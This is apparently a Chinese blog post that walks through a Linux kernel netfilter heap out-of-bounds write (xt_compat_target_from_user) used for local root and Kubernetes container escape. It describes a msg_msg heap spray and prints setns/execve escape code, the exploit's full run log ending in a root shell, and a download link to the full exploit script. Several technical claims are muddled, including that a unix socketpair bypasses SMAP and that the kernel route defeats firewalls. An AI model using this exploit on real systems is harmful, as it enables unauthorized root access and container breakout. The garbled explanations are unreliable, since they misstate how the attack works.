基于linux内核堆越界的提权加对大佬脚本的解读

前言

最近看了一些linux内核的一些书籍,提权这块一直是硬伤,windows提权相对简单,但Linux真说不好,现在一般服务器都会架设防火墙,过防火墙最强大的方法应该就是通过内核了,因为防火墙的功能主要在于及时发现并处理计算机网络运行时可能存在的安全风险、数据传输等问题,其中处理措施包括隔离与保护,同时可对计算机网络安全当中的各项操作实施记录与检测,但防火墙是不会达不到内核那里的。

前期准备

地址:Ubuntu 5.8.0-48-generic
我们先部署一下

漏洞分析

内核源码:链接:https://pan.baidu.com/s/1dRhfrBkko5BSho7uVGrCPQ
提取码:kreu
c语言初始化函数容易出错的, 弱点在于 xt_compat_target_from_user()那里的 memcpy()用偏移量调用 target->targetsize在分配过程中没有考虑到这一点, 导致一些字节越界,也就是溢出。

虽然targetsize不受用户控制,但我们可以选择一个高达 76字节的偏移量越界完成提权。
我们的原语仅限于越界写入四个字节的0到 0x4C(76) 字节,目标是空闲列表指针,其中包括保护空闲列表指针。
接着我们发送数据msgsnd(),这时有效载荷被分成多个段

下一步我们初始化了很多消息队列,先使用 msgget.。然后,我们发送一条大小为 4096 的消息(包括 struct msg_msgheader) 用于每个消息队列使用 msgsnd(),定义为primary message。

使用 unix 套接字,可以很容易地设置 socketpair(),这样可以绕过绕过SMAP(管理程序模式执行保护)。

 


现在,我们可以使struct msg_msg它指向自己,用假泄漏地址,其对象为 mlist.next和 mlist.prev。请记住,目标linux也必须被分配 GFP_KERNEL_ACCOUNT. 攻击的最佳受害者是在其结构中具有函数指针的对象。

做完这些就可以弹出一个新shell了(root),回到现有用户,我们现在拥有更改 mnt、pid 和 net 命名空间的 root 权限,以逃离容器并脱离 kubernetespod。 用setns切换命名空间,将/proc/1/ns下的都加入命名空间。最终,弹出一个 rootshell界面。

 
  1. setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
  2. setns(open("/proc/1/ns/pid", O_RDONLY), 0);
  3. setns(open("/proc/1/ns/net", O_RDONLY), 0);
  4. char *args[] = {"/bin/bash", "-i", NULL};
  5. execve(args[0], args, NULL);
 
  1. xingshen@ubuntu:~$ ./exploit
  2. [+] Linux by xingshen1
  3. [+] STAGE 0: Initialization
  4. [*] Setting up namespace sandbox...
  5. [*] Initializing sockets and message queues...
  6. [+] STAGE 1: Memory corruption
  7. [*] Spraying primary messages...
  8. [*] Spraying secondary messages...
  9. [*] Creating holes in primary messages...
  10. [*] Triggering out-of-bounds write...
  11. [*] Searching for corrupted primary message...
  12. * [*] Spraying fake pipe_buffer o bjects...
  13. * [*] Releasing pipe_buffer o bjects...
  14. * [*] Checking for root...
  15. * [+] Root privileges gained.
  16. *
  17. * [*] Escaping container...
  18. * [*] Cleaning up...
  19. * [*] Popping root shell...
  20. root@ubuntu:~$ id
  21. uid=0(root) gid=0(root) groups=0(root)

结论

大神脚本链接:链接:https://pan.baidu.com/s/1XwWojejaJYm2ZkEM_Rs1aw
提取码:9lqc
关键性的原理就是memcpy溢出和恢复 RBP 的值并返回继续执行,这将立即使 free_pipe_info()返回。百度网盘失效联系我。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qq_1136014935

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值